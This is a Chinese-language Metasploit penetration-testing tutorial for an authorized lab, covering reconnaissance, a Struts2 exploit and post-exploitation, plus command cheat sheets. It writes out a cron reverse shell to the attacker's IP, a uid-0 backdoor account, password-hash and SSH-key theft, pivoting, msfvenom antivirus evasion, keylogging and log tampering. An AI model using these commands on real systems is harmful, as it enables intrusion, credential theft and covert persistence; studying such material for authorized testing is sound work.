行业资讯

Metasploit渗透测试实战:从信息收集到后渗透的完整流程与命令速查

发布时间:2026/7/29 3:37:31
Metasploit渗透测试实战:从信息收集到后渗透的完整流程与命令速查 1. 项目概述一次完整的渗透测试实战演练最近在整理自己的渗透测试笔记发现很多朋友对Metasploit这个“瑞士军刀”的使用还停留在use exploit/multi/handler和set payload windows/meterpreter/reverse_tcp的初级阶段。实际上一次完整的、贴近实战的渗透测试流程远不止于此。今天我就以Kali Linux为平台结合一个模拟的靶场环境带大家走一遍从信息收集、漏洞扫描、漏洞利用到后渗透提权、横向移动、权限维持的完整链条。这不仅仅是命令的堆砌更是思路的梳理和实战经验的分享。无论你是刚入门的安全爱好者还是想系统梳理流程的从业者这篇内容都能帮你建立起一个清晰的框架并附上一份我多年积累的、高频使用的命令速查表方便你随时查阅。整个流程的核心在于“知其然更知其所以然”。我不会只告诉你输入什么命令还会解释为什么在这个阶段用这个模块参数设置背后的考量是什么以及在实际攻防对抗中可能遇到哪些“坑”。我们假设的目标是一个存在已知漏洞的Web应用服务器例如ThinkPHP RCE、Struts2等最终目标是获取其系统最高权限并尝试在内网中探索。请注意所有操作均在授权的测试环境或自有靶机中进行切勿对未授权目标进行测试。2. 环境准备与目标设定在开始任何渗透测试之前充分的准备和清晰的目标定义是成功的一半。盲目地扫描和攻击不仅效率低下还容易触发警报。这一阶段我们需要搭建一个可控的测试环境并明确我们的“假想敌”。2.1 测试环境搭建我的主力测试机是Kali Linux 2024.1它已经预装了Metasploit Framework (MSF)。如果你使用的是其他发行版可以通过apt install metasploit-framework来安装。为了模拟真实场景我通常在虚拟机中运行一个靶机。这里推荐几个优秀的免费靶场Metasploitable 2/3专为MSF练习设计、DVWADamn Vulnerable Web Application或OWASP Juice Shop。本次演示我以一台运行着老旧版本Apache Struts2的Ubuntu服务器Metasploitable 2的衍生环境作为目标靶机其IP地址为192.168.1.105我的Kali攻击机IP为192.168.1.100。注意确保攻击机和靶机在同一网络段并能互相通信使用ping命令测试。在虚拟机网络中通常使用“桥接”或“NAT”模式并确认防火墙已关闭或配置了允许规则。2.2 信息收集Reconnaissance先行在MSFconsole里横冲直撞之前我们必须先了解目标。信息收集的广度与深度直接决定了后续攻击的入口点和成功率。2.2.1 基础网络发现首先使用经典的nmap进行主机发现和端口扫描。这不是MSF的命令但却是渗透测试的起点。# 快速扫描靶机开放了哪些端口 nmap -sS -T4 192.168.1.105 # 更详细的扫描识别服务和版本 nmap -sV -sC -O -p- 192.168.1.105从扫描结果中我们可能发现目标开放了80端口HTTP、22端口SSH、21端口FTP等。假设-sV扫描显示80端口运行着Apache httpd 2.4.7并且网站根目录下有一个/index.php页面。2.2.2 Web路径与敏感文件探测发现Web服务后使用dirb或gobuster进行目录爆破寻找后台登录页、配置文件、备份文件等。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt这一步可能会发现诸如/admin、/phpmyadmin、/config.php.bak等有价值路径。同时手动浏览网站观察使用的技术栈如URL中是否有.action后缀暗示Struts2或者index.php提示PHP以及是否存在默认页、注释信息泄露等。2.2.3 集成MSF的辅助扫描模块Metasploit提供了大量辅助模块可以更精细地收集信息。例如我们可以使用scanner/http/http_version模块来确认Web服务器版本或者使用scanner/http/robots_txt模块检查robots文件。msf6 use auxiliary/scanner/http/http_version msf6 auxiliary(scanner/http/http_version) set RHOSTS 192.168.1.105 msf6 auxiliary(scanner/http/http_version) run信息收集阶段要像侦探一样不放过任何蛛丝马迹。一份详细的信息收集报告应包括IP、开放端口、服务版本、操作系统倾向、Web应用框架、可能的默认凭证、暴露的敏感接口等。这些信息将构成我们后续漏洞利用的“地图”。3. 漏洞扫描与利用Exploitation在获取了足够的信息后我们就可以开始寻找具体的攻击入口了。这一阶段的核心是将“信息”转化为“漏洞”并最终获得一个初始立足点Initial Foothold通常是一个反向Shell会话。3.1 漏洞匹配与扫描根据信息收集的结果我们可以进行有针对性的漏洞扫描。例如我们发现目标Web页面URL中有.do或.action且由Tomcat服务承载这强烈暗示着Struts2框架。Metasploit内置了针对特定服务的漏洞扫描器。3.1.1 使用MSF漏洞扫描模块msf6 use auxiliary/scanner/http/struts2_content_type_ognl msf6 auxiliary(scanner/http/struts2_content_type_ognl) set RHOSTS 192.168.1.105 msf6 auxiliary(scanner/http/struts2_content_type_ognl) set TARGETURI /index.action # 假设的目标URI msf6 auxiliary(scanner/http/struts2_content_type_ognl) run如果该模块返回“The target is vulnerable.”那么恭喜我们找到了一个可利用的漏洞例如S2-045, S2-046等。MSF的扫描模块通常比较准确误报率相对较低。3.1.2 结合外部工具验证有时我们需要使用更专业的漏洞扫描工具进行交叉验证比如niktoWeb漏洞扫描或nessus商业综合扫描器。对于Struts2还有一个著名的检测工具Struts2-ScanPython脚本。我们可以将外部工具发现的可疑漏洞点再到MSF中寻找对应的利用模块。3.2 漏洞利用Getting a Shell确认漏洞后就到了最激动人心的环节——利用漏洞获取Shell。在MSF中这通常意味着选择一个exploit模块并配置合适的payload。3.2.1 选择并配置Exploit模块继续上面的Struts2例子我们搜索对应的利用模块。msf6 search struts2 # 假设我们找到了一个匹配的模块例如 # exploit/multi/http/struts2_content_type_ognl msf6 use exploit/multi/http/struts2_content_type_ognl msf6 exploit(multi/http/struts2_content_type_ognl) show options关键参数设置RHOSTS: 目标IP192.168.1.105RPORT: 目标端口80TARGETURI: 存在漏洞的端点/index.actionPAYLOAD: 选择载荷。这是关键一步我们需要根据目标环境和网络拓扑来选择。3.2.2 Payload的选择艺术Payload决定了我们获得何种类型的Shell以及连接方式。reverse_tcp: 最常用。靶机主动连接我们的攻击机。需要设置LHOST攻击机IP和LPORT监听端口。适用于靶机可出网访问到攻击机的情况。set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444bind_tcp: 攻击机主动连接靶机。在靶机有公网IP或攻击机无法被靶机访问时使用如靶机在严格出站策略的内网但攻击机可以进去。设置RHOST和RPORT靶机开放的端口。meterpreter vs shell:meterpreter是MSF的高级、功能强大的后渗透代理支持文件操作、键盘记录、权限提升等大量内置命令。shell则是一个简单的系统命令行如/bin/bash或cmd.exe。在可能的情况下优先选择meterpreter。实操心得LHOST参数务必设置为攻击机真实且靶机可路由到达的IP地址。在虚拟机NAT模式下这可能是192.168.xx.xx在云服务器场景下则是公网IP。设置错误会导致监听器收不到回连是最常见的“坑”之一。3.2.3 执行与会话建立所有参数设置完毕后执行exploit或run。msf6 exploit(multi/http/struts2_content_type_ognl) exploit [*] Started reverse TCP handler on 192.168.1.100:4444 [*] Sending stage (989032 bytes) to 192.168.1.105 [*] Meterpreter session 1 opened (192.168.1.100:4444 - 192.168.1.105:58734) at 2023-10-27 10:00:00 0800 meterpreter 看到meterpreter 提示符意味着我们成功获得了目标系统的一个初始会话Session这是渗透测试中一个重要的里程碑。4. 后渗透Post-Exploitation实战获得初始Shell尤其是非特权Shell仅仅是开始。后渗透阶段的目标是提升权限、收集信息、横向移动、建立持久化后门。这才是体现渗透测试者功力的地方。4.1 权限提升Privilege Escalation我们当前的meterpreter会话很可能是一个低权限用户如www-data。我们需要将其提升为root或SYSTEM权限。4.1.1 本地信息枚举首先了解我们所在的环境。meterpreter sysinfo # 查看系统信息 meterpreter getuid # 查看当前用户 meterpreter background # 将当前会话放到后台非常重要 msf6 exploit(multi/http/struts2_content_type_ognl) sessions -i 1 # 重新进入会话1在MSF后台我们可以使用post/multi/recon/local_exploit_suggester模块它会自动根据系统版本、补丁情况、当前权限等推荐可能成功的本地提权漏洞利用模块。msf6 use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) set SESSION 1 msf6 post(multi/reploit_suggester) run模块会列出如exploit/linux/local/...之类的建议。选择一个合适的例如基于内核漏洞的dirtycow按照提示设置SESSION并运行。成功后在meterpreter中再次执行getuid应该会显示root。4.1.2 常见的提权检查清单除了自动化工具手动检查也非常有效SUID/GUID文件查找具有特殊权限的可执行文件。find / -perm -us -type f 2/dev/null内核版本uname -a搜索该版本已知的公开EXP。计划任务Cron Jobs查看/etc/crontab是否有以root权限运行的可写脚本。sudo权限sudo -l查看当前用户能以root身份执行哪些命令。环境变量PATH检查是否有可写的路径位于root常用路径之前。注意事项提权操作风险较高可能造成系统不稳定或崩溃。在真实生产环境测试中必须获得明确授权并建议在测试时间窗口进行。在靶场中则可以大胆尝试。4.2 信息收集与凭证窃取获得高权限后可以系统地收集敏感信息。meterpreter run post/linux/gather/hashdump # 尝试提取Linux密码哈希/etc/shadow meterpreter run post/multi/gather/ssh_creds # 收集SSH私钥和已知主机 meterpreter shell cat /etc/passwd cat /var/www/html/config.php # 查看Web配置文件寻找数据库密码 history # 查看当前用户的命令历史这些信息尤其是密码哈希和SSH密钥是横向移动的关键。对于Windows系统则有hashdump、mimikatz等模块。4.3 横向移动Lateral Movement假设内网中还有其他主机如192.168.1.110我们可以尝试利用已获取的凭证进行横向移动。4.3.1 使用SSH密钥或密码连接如果我们窃取到了root用户的SSH私钥可以直接从攻击机连接。# 在Kali上 chmod 600 stolen_id_rsa ssh -i stolen_id_rsa root192.168.1.110如果只有密码哈希可以尝试使用auxiliary/scanner/ssh/ssh_login模块进行爆破需授权。4.3.2 使用MSF的跳板功能Pivoting更高级的方法是让当前被控主机192.168.1.105作为跳板去访问其内网的其他网段如10.10.10.0/24。在meterpreter会话中添加路由meterpreter run autoroute -s 10.10.10.0/24背景化会话然后MSF的其他模块如扫描器、漏洞利用就会自动通过这个会话路由流量去攻击10.10.10.x网段的主机。msf6 use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) set RHOSTS 10.10.10.1-254 msf6 auxiliary(scanner/portscan/tcp) run # 扫描流量将通过session 1发出4.4 权限维持Persistence为了防止管理员重启服务或修复漏洞导致我们失联需要安装后门。4.4.1 创建后门账户meterpreter shell useradd -o -u 0 -g 0 -G root -s /bin/bash -d /home/backdoor backdoor passwd backdoor # 设置一个强密码4.4.2 使用MSF的持久化模块MSF提供了更隐蔽的方式。meterpreter run post/linux/manage/sshkey_persistence此模块会将攻击机的SSH公钥添加到目标机的authorized_keys文件中。或者使用exploit/linux/local/service_persistence模块创建一个系统服务。4.4.3 Cron后门添加一个每N分钟连接一次攻击机的计划任务。echo \*/5 * * * * /bin/bash -c bash -i /dev/tcp/192.168.1.100/5555 01\ /tmp/cronjob crontab /tmp/cronjob同时在攻击机用nc或MSF的multi/handler监听5555端口。5. 痕迹清理与报告撰写在授权的渗透测试中清理痕迹是职业操守的体现目的是避免对客户系统造成长期影响。报告则是交付价值的核心。5.1 基础痕迹清理删除命令历史history -c或清空~/.bash_history文件。删除日志相关条目谨慎操作/var/log/目录下的auth.log、secure、apache2/access.log等文件。可以使用meterpreter的timestomp功能修改文件时间属性或者直接删除我们IP相关的日志行不推荐直接删文件太明显。删除上传的工具删除通过漏洞上传的meterpreter木马、扫描脚本等。移除持久化后门在测试结束后移除添加的用户、cron任务或服务。这一点在授权测试中非常重要。5.2 渗透测试报告核心要素报告不是命令的罗列而是风险、影响和解决方案的陈述。执行摘要用非技术语言向管理层概述测试范围、发现的高风险问题及其业务影响。测试范围与方法明确测试的IP、URL、时间、使用的技术方法黑盒/白盒。详细发现这是报告主体。每个漏洞应包含漏洞标题如“Apache Struts2 S2-045远程代码执行漏洞”。风险等级高、中、低通常结合CVSS评分。受影响资产具体的URL或服务器IP。漏洞描述原理简述。复现步骤清晰的步骤和截图证明漏洞存在。这正是我们上面实战流程的总结。潜在影响攻击者利用此漏洞能做什么数据泄露、系统控制等。修复建议具体、可操作的解决方案如升级到XX版本、配置XX规则、修改XX代码。附录可以放置一些技术细节如完整的nmap扫描结果、使用的工具列表等。6. Metasploit常见命令速查与高阶技巧最后分享我整理的一份高频命令速查表和一些容易忽略的技巧。6.1 MSFconsole核心命令速查表类别命令描述核心操作use module_path使用某个模块exploit, auxiliary, postshow options显示当前模块需设置的参数set PARAM VALUE设置参数值unset PARAM取消设置参数run或exploit执行模块back退出当前模块返回上一级会话管理sessions或sessions -l列出所有活跃会话sessions -i ID切换到指定ID的会话sessions -k ID结束指定会话background将当前meterpreter会话放到后台信息搜索search keyword搜索模块如search struts2search type:exploit platform:linux按类型、平台等高级搜索网络与跳板route查看当前路由表route add SUBNET SESSION_ID添加路由用于pivoting数据库db_status检查数据库连接hosts查看已记录的主机services查看已记录的服务杂项help查看帮助check某些模块支持检查目标是否脆弱而不攻击setg/unsetg全局设置/取消参数对所有模块生效6.2 Meterpreter常用命令速查表类别命令描述系统信息sysinfo查看目标系统信息getuid查看当前用户权限文件系统pwd/cd/ls类似Shell命令upload local remote上传文件到目标download remote local从目标下载文件cat/edit查看/编辑文件edit需有图形环境网络ipconfig/ifconfig查看网络配置portfwd端口转发本地/远程route查看目标路由表进程ps列出进程migrate PID将会话迁移到另一个进程提升稳定性权限getsystem尝试自动提权Windowsrun post/multi/recon/local_exploit_suggester自动提权建议需在MSF后台运行信息收集run post/linux/gather/hashdump提取密码哈希Linuxrun post/multi/gather/ssh_creds收集SSH凭证screenshot截取屏幕图形界面keyscan_start/keyscan_dump键盘记录Shellshell切换到系统命令行CtrlZ从shell返回meterpreter6.3 高阶技巧与避坑指南Payload编码与免杀默认的meterpreter载荷很容易被杀毒软件识别。可以使用MSF的msfvenom工具生成编码或加密的载荷并配合Veil-Evasion等框架进行免杀处理。命令如msfvenom -p windows/meterpreter/reverse_tcp LHOST... LPORT... -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe。但请注意免杀是持续的对抗没有一劳永逸的方法。监听器Handler管理使用exploit/multi/handler模块作为独立的监听器可以灵活应对多种连接。特别是当使用msfvenom生成独立载荷时需要提前在MSF中配置好对应的handler。msf6 use exploit/multi/handler msf6 exploit(multi/handler) set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) set LHOST 192.168.1.100 msf6 exploit(multi/handler) set LPORT 4444 msf6 exploit(multi/handler) exploit -j # -j 表示作为后台任务运行资源脚本Resource Script对于重复性任务可以将一系列MSF命令写入.rc文件然后使用msfconsole -r script.rc或resource script.rc来批量执行。这在自动化测试或需要快速搭建复杂环境时非常高效。数据库的威力务必启用并连接PostgreSQL数据库Kali默认已配置。使用workspace管理不同项目所有扫描结果、主机信息、凭证都会自动存入数据库方便查询、去重和报告生成。命令如db_nmap -sV 192.168.1.0/24会将结果直接入库。模块选项的“高级”设置多看看show advanced和show evasion选项。例如set ReverseConnectRetries 10可以增加反向连接重试次数set EnableStageEncoding true可以启用载荷分阶段编码可能绕过某些简单的IDS检测。渗透测试是一门需要不断练习和思考的手艺。Metasploit是一个强大的工具但比工具更重要的是理解其背后的网络协议、系统原理和安全思想。这套从扫描到后渗透的流程是一个通用框架在实际面对不同的目标、不同的防御体系时需要你灵活变通持续学习新的技术和绕过方法。希望这篇长文和速查表能成为你案头有用的参考。